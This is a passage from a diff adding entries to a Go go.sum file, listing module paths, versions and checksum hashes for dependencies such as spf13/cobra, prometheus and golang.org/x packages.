h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= +github.com/hashicorp/golang-lru v0.5.4/go.mod h1:iADmTwqILo4mZ8BN3D2Q6+9jd8WM5uGBxy+E8yxSoD4= +github.com/hashicorp/hcl v1.0.0 h1:0Anlzjpi4vEasTeNFn2mLJgTSwt0+6sfsiTG8qcWGx4= +github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ= +github.com/hashicorp/logutils v1.0.0/go.mod h1:QIAnNjmIWmVIIkWDTG1z5v++HQmx9WQRO+LraFDTW64= +github.com/hashicorp/mdns v1.0.1/go.mod h1:4gW7WsVCke5TE7EPeYliwHlRUyBtfCwuFwuMg2DmyNY= +github.com/hashicorp/mdns v1.0.4/go.mod h1:mtBihi+LeNXGtG8L9dX59gAEa12BDtBQSp4v/YAJqrc= +github.com/hashicorp/memberlist v0.2.2/go.mod h1:MS2lj3INKhZjWNqd3N0m3J+Jxf3DAOnAH9VT3Sh9MUE= +github.com/hashicorp/memberlist v0.3.0/go.mod h1:MS2lj3INKhZjWNqd3N0m3J+Jxf3DAOnAH9VT3Sh9MUE= +github.com/hashicorp/serf v0.9.5/go.mod h1:UWDWwZeL5cuWDJdl0C6wrvrUwEqtQ4ZKBKKENpqIUyk= +github.com/hashicorp/serf v0.9.6/go.mod h1:TXZNMjZQijwlDvp+r0b63xZ45H7JmCmgg4gpTwn9UV4= +github.com/iancoleman/strcase v0.2.0/go.mod h1:iwCmte+B7n89clKwxIoIXy/HfoL7AsD47ZCWhYzw7ho= +github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= +github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= +github.com/inconshreveable/mousetrap v1.0.0 h1:Z8tu5sraLXCXIcARxBp/8cbvlwVa7Z1NHg9XEKhtSvM= +github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8= +github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8= +github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= +github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU= +github.com/json-iterator/go v1.1.9/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= +github.com/json-iterator/go v1.1.11/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= +github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= +github.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU= +github.com/jstemmer/go-junit-report v0.9.1/go.mod h1:Brl9GWCQeLvo8nXZwPNNblvFj/XSXhF0NWZEnDohbsk= +github.com/judwhite/go-svc v1.2.1 h1:a7fsJzYUa33sfDJRF2N/WXhA+LonCEEY8BJb1tuS5tA= +github.com/judwhite/go-svc v1.2.1/go.mod h1:mo/P2JNX8C07ywpP9YtO2gnBgnUiFTHqtsZekJrUuTk= +github.com/julienschmidt/httprouter v1.2.0/go.mod h1:SYymIcj16QtmaHHD7aYtjjsJG7VTCxuUUipMqKk8s4w= +github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8= +github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= +github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= +github.com/kr/fs v0.1.0/go.mod h1:FFnZGqtBN9Gxj7eW1uZ42v5BccTP0vu6NEaFoC2HwRg= +github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc= +github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= +github.com/kr/pretty v0.2.0 h1:s5hAObm+yFO5uHYt5dYjxi2rXrsnmRpJx4OYvIWUaQs= +github.com/kr/pretty v0.2.0/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= +github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= +github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE= +github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= +github.com/lyft/protoc-gen-star v0.5.3/go.mod h1:V0xaHgaf5oCCqmcxYcWiDfTiKsZsRc87/1qhoTACD8w= +github.com/magiconair/properties v1.8.5 h1:b6kJs+EmPFMYGkow9GiUyCyOvIwYetYJ3fSaWak/Gls= +github.com/magiconair/properties v1.8.5/go.mod h1:y3VJvCyxH9uVvJTWEGAELF3aiYNyPKd5NZ3oSwXrF60= +github.com/manifoldco/promptui v0.9.0 h1:3V4HzJk1TtXW1MTZMP7mdlwbBpIinw3HztaIlYthEiA= +github.com/manifoldco/promptui v0.9.0/go.mod h1:ka04sppxSGFAtxX0qhlYQjISsg9mR4GWtQEhdbn6Pgg= +github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU= +github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= +github.com/mattn/go-colorable v0.1.6/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= +github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= +github.com/mattn/go-colorable v0.1.12/go.mod h1:u5H1YNBxpqRaxsYJYSkiCWKzEfiAb1Gb520KVy5xxl4= +github.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4= +github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= +github.com/mattn/go-isatty v0.0.10/go.mod h1:qgIWMr58cqv1PHHyhnkY9lrL7etaEgOFcMEpPG5Rm84= +github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE= +github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= +github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94= +github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0= +github.com/miekg/dns v1.0.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg= +github.com/miekg/dns v1.1.26/go.mod h1:bPDLeHnStXmXAq1m/Ch/hvfNHr14JKNPMBo3VZKjuso= +github.com/miekg/dns v1.1.41/go.mod h1:p6aan82bvRIyn+zDIv9xYNUpwa73JcSh9BKwknJysuI= +github.com/mitchellh/cli v1.1.0/go.mod h1:xcISNoH86gajksDmfB23e/pu+B+GeFRMYmoHXxx3xhI= +github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= +github.com/mitchellh/go-testing-interface v1.0.0/go.mod h1:kRemZodwjscx+RGhAo8eIhFbs2+BFgRtFPeD/KE+zxI= +github.com/mitchellh/mapstructure v0.0.0-20160808181253-ca63d7c062ee/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= +github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= +github.com/mitchellh/mapstructure v1.4.3 h1:OVowDSCllw/YjdLkam3/sm7wEtOy59d8ndGgCcyj8cs= +github.com/mitchellh/mapstructure v1.4.3/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= +github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= +github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= +github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= +github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= +github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= +github.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= +github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= +github.com/pascaldekloe/goe v0.1.0/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= +github.com/pelletier/go-toml v1.9.4 h1:tjENF6MfZAg8e4ZmZTeWaWiT2vXtsoO6+iuOjFhECwM= +github.com/pelletier/go-toml v1.9.4/go.mod h1:u1nR/EPcESfeI/szUZKdtJ0xRNbUoANCkoOuaOx1Y+c= +github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= +github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= +github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= +github.com/pkg/sftp v1.10.1/go.mod h1:lYOWFsE0bwd1+KfKJaKeuokY15vzFx25BLbzYYoAxZI= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI= +github.com/posener/complete v1.2.3/go.mod h1:WZIdtGGp+qx0sLrYKtIRAruyNpv6hFCicSgv7Sy7s/s= +github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw= +github.com/prometheus/client_golang v1.0.0/go.mod h1:db9x61etRT2tGnBNRi70OPL5FsnadC4Ky3P0J6CfImo= +github.com/prometheus/client_golang v1.4.0/go.mod h1:e9GMxYsXl05ICDXkRhurwBS4Q3OK1iX/F2sw+iXX5zU= +github.com/prometheus/client_model v0.0.0-20180712105110-5c3871d89910/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo= +github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= +github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= +github.com/prometheus/client_model v0.2.0/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= +github.com/prometheus/common v0.4.1/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4= +github.com/prometheus/common v0.9.1/go.mod h1:yhUN8i9wzaXS3w1O07YhxHEBxD+W35wd8bs7vj7HSQ4= +github.com/prometheus/procfs v0.0.0-20181005140218-185b4288413d/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk= +github.com/prometheus/procfs v0.0.2/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA= +github.com/prometheus/procfs v0.0.8/go.mod h1:7Qr8sr6344vo1JqZ6HhLceV9o3AJ1Ff+GxbHq6oeK9A= +github.com/rogpeppe/fastuuid v1.2.0/go.mod h1:jVj6XXZzXRy/MSR5jhDC/2q6DgLz+nrA6LYCDYWNEvQ= +github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= +github.com/rs/xid v1.3.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg= +github.com/rs/zerolog v1.26.0 h1:ORM4ibhEZeTeQlCojCK2kPz1ogAY4bGs4tD+SaAdGaE= +github.com/rs/zerolog v1.26.0/go.mod h1:yBiM87lvSqX8h0Ww4sdzNSkVYZ8dL2xjZJG1lAuGZEo= +github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= +github.com/ryanuber/columnize v0.0.0-20160712163229-9b3edd62028f/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts= +github.com/sagikazarmark/crypt v0.3.0/go.mod h1:uD/D+6UF4SrIR1uGEv7bBNkNqLGqUr43MRiaGWX1Nig= +github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg65j358z/aeFdxmN0P9QXhEzd20vsDc= +github.com/sirupsen/logrus v1.2.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPxbbu5VWo= +github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE= +github.com/spaolacci/murmur3 v0.0.0-20180118202830-f09979ecbc72/go.mod h1:JwIasOWyU6f++ZhiEuf87xNszmSA2myDM2Kzu9HwQUA= +github.com/spf13/afero v1.3.3/go.mod h1:5KUK8ByomD5Ti5Artl0RtHeI5pTF7MIDuXL3yY520V4= +github.com/spf13/afero v1.6.0 h1:xoax2sJ2DT8S8xA2paPFjDCScCNeWsg75VG0DLRreiY= +github.com/spf13/afero v1.6.0/go.mod h1:Ai8FlHk4v/PARR026UzYexafAt9roJ7LcLMAmO6Z93I= +github.com/spf13/cast v1.4.1 h1:s0hze+J0196ZfEMTs80N7UlFt0BDuQ7Q+JDnHiMWKdA= +github.com/spf13/cast v1.4.1/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE= +github.com/spf13/cobra v1.3.0 h1:R7cSvGu+Vv+qX0gW5R/85dx2kmmJT5z5NM8ifdYjdn0= +github.com/spf13/cobra v1.3.0/go.mod h1:BrRVncBjOJa/eUcVVm9CE+oC6as8k+VYr4NY7WCi9V4= +github.com/spf13/cobra v1.8.1 h1:e5/vxKd/rZsfSJMUX1agtjeTDf+qv1/JdBF8gg5k9ZM= +github.com/spf13/cobra v1.8.1/go.mod h1:wHxEcudfqmLYa8iTfL+OuZPbBZkmvliBWKIezN3kD9Y= +github.com/spf13/jwalterweatherman v1.1.0 h1:ue6voC5bR5F8YxI5S67j9i582FU4Qvo2bmqnqMYADFk= +github.com/spf13/jwalterweatherman v1.1.0/go.mod h1:aNWZUN0dPAAO/Ljvb5BEdw96iTZ0EXowPYD95IqWIGo= +github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= +github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= +github.com/spf13/viper v1.10.0/go.mod h1:SoyBPwAtKDzypXNDFKN5kzH7ppppbGZtls1UpIy5AsM= +github.com/spf13/viper v1.10.1 h1:nuJZuYpG7gTj/XqiUwg8bA0cp1+M2mC3J4g5luUYBKk= +github.com/spf13/viper v1.10.1/go.mod h1:IGlFPqhNAPKRxohIzWpI5QEy4kuI7tcl5WvR+8qy1rU= +github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= +github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= +github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= +github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA= +github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY= +github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/subosito/gotenv v1.2.0 h1:Slr1R9HxAlEKefgq5jn9U+DnETlIUa6HfgEzj0g5d7s= +github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw= +github.com/tv42/httpunix v0.0.0-20150427012821-b75d8614f926/go.mod h1:9ESjWnEqriFuLhtthL60Sar/7RFoluCcXsuvEwTV5KM= +github.com/youmark/pkcs8 v0.0.0-20201027041543-1326539a0a0a h1:fZHgsYlfvtyqToslyjUt3VOPF4J7aK/3MPcK7xp3PDk= +github.com/youmark/pkcs8 v0.0.0-20201027041543-1326539a0a0a/go.mod h1:ul22v+Nro/R083muKhosV54bj5niojjWZvU8xrevuH4= +github.com/yuin/goldmark v1.1.25/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= +github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= +github.com/yuin/goldmark v1.1.32/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= +github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= +github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k= +github.com/yuin/goldmark v1.4.0/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k= +go.etcd.io/etcd/api/v3 v3.5.1/go.mod h1:cbVKeC6lCfl7j/8jBhAK6aIYO9XOjdptoxU/nLQcPvs= +go.etcd.io/etcd/client/pkg/v3 v3.5.1/go.mod h1:IJHfcCEKxYu1Os13ZdwCwIUTUVGYTSAM3YSwc9/Ac1g= +go.etcd.io/etcd/client/v2 v2.305.1/go.mod h1:pMEacxZW7o8pg4CrFE7pquyCJJzZvkvdD2RibOCCCGs= +go.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU= +go.opencensus.io v0.22.0/go.mod h1:+kGneAE2xo2IficOXnaByMWTGM9T73dGwxeWcUqIpI8= +go.opencensus.io v0.22.2/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= +go.opencensus.io v0.22.3/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= +go.opencensus.io v0.22.4/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= +go.opencensus.io v0.22.5/go.mod h1:5pWMHQbX5EPX2/62yrJeAkowc+lfs/XD7Uxpq3pI6kk= +go.opencensus.io v0.23.0/go.mod h1:XItmlyltB5F7CS4xOC1DcqMoFqwtC6OG2xF7mCv7P7E= +go.opentelemetry.io/proto/otlp v0.7.0/go.mod h1:PqfVotwruBrMGOCsRd/89rSnXhoiJIqeYNgFYFoEGnI= +go.uber.org/atomic v1.7.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc= +go.uber.org/mock v0.2.0 h1:TaP3xedm7JaAgScZO7tlvlKrqT0p7I6OsdGB5YNSMDU= +go.uber.org/mock v0.2.0/go.mod h1:J0y0rp9L3xiff1+ZBfKxlC1fz2+aO16tw0tsDOixfuM= +go.uber.org/multierr v1.6.0/go.mod h1:cdWPpRnG4AhwMwsgIHip0KRBQjJy5kYEpYjJxpXp9iU= +go.uber.org/zap v1.17.0/go.mod h1:MXVU+bhUf/A7Xi2HNOnopQOrmycQ5Ih87HtOu4q5SSo= +golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= +golang.org/x/crypto v0.0.0-20181029021203-45a5f77698d3/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= +golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= +golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/crypto v0.0.0-20190605123033-f99c8df09eb5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/crypto v0.0.0-20190820162420-60c769a6c586/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/crypto v0.0.0-20190923035154-9ee001bba392/go.mod h1:/lpIB1dKB+9EgE3H3cr1v9wB50oz8l4C4h62xy7jSTY= +golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/crypto v0.0.0-20200302210943-78000ba7a073/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= +golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= +golang.org/x/crypto v0.0.0-20210817164053-32db794688a5/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= +golang.org/x/crypto v0.21.0 h1:X31++rzVUdKhX5sWmSOFZxx8UW/ldWx55cbf08iNAMA= +golang.org/x/crypto v0.21.0/go.mod h1:0BP7YvVV9gBbVKyeTG0Gyn+gZm94bibOW5BjDEYAOMs= +golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= +golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= +golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8= +golang.org/x/exp v0.0.0-20190829153037-c13cbed26979/go.mod h1:86+5VVa7VpoJ4kLfm080zCjGlMRFzhUhsZKEZO7MGek= +golang.org/x/exp v0.0.0-20191030013958-a1ab85dbe136/go.mod h1:JXzH8nQsPlswgeRAPE3MuO9GYsAcnJvJ4vnMwN/5qkY= +golang.org/x/exp v0.0.0-20191129062945-2f5052295587/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4= +golang.org/x/exp v0.0.0-20191227195350-da58074b4299/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4= +golang.org/x/exp v0.0.0-20200119233911-0405dc783f0a/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4= +golang.org/x/exp v0.0.0-20200207192155-f17229e696bd/go.mod h1:J/WKrq2StrnmMY6+EHIKF9dgMWnmCNThgcyBT1FY9mM= +golang.org/x/exp v0.0.0-20200224162631-6cc2880d07d6/go.mod h1:3jZMyOhIsHpP37uCMkUooju7aAi5cS1Q23tOzKc+0MU= +golang.org/x/image v0.0.0-20190227222117-0694c2d4d067/go.mod h1:kZ7UVZpmo3dzQBMxlp+ypCbDeSB+sBbTgSJuh5dn5js= +golang.org/x/image v0.0.0-20190802002840-cff245a6509b/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= +golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= +golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU= +golang.org/x/lint v0.0.0-20190301231843-5614ed5bae6f/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= +golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= +golang.org/x/lint v0.0.0-20190409202823-959b441ac422/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= +golang.org/x/lint v0.0.0-20190909230951-414d861bb4ac/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= +golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= +golang.org/x/lint v0.0.0-20191125180803-fdd1cda4f05f/go.mod h1:5qLYkcX4OjUUV8bRuDixDT3tpyyb+LUpUlRWLxfhWrs= +golang.org/x/lint v0.0.0-20200130185559-910be7a94367/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= +golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= +golang.org/x/lint v0.0.0-20201208152925-83fdc39ff7b5/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= +golang.org/x/lint v0.0.0-20210508222113-6edffad5e616/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= +golang.org/x/mobile v0.0.0-20190312151609-d3739f865fa6/go.mod h1:z+o9i4GpDbdi3rU15maQ/Ox0txvL9dWGYEHz965HBQE= +golang.org/x/mobile v0.0.0-20190719004257-d2bd2a29d028/go.mod h1:E/iHnbuqvinMTCcRqshq8CkpyQDoeVncDDYHnLhea+o= +golang.org/x/mod v0.0.0-20190513183733-4bf6d317e70e/go.mod h1:mXi4GBBbnImb6dmsKGUJ2LatrhH/nqhxcFungHvyanc= +golang.org/x/mod v0.1.0/go.mod h1:0QHyrYULN0/3qlju5TqG8bIK38QM8yzMo5ekMj3DlcY= +golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= +golang.org/x/mod v0.1.1-0.20191107180719-034126e5016b/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= +golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/mod v0.4.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/mod v0.4.1/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/mod v0.5.0/go.mod 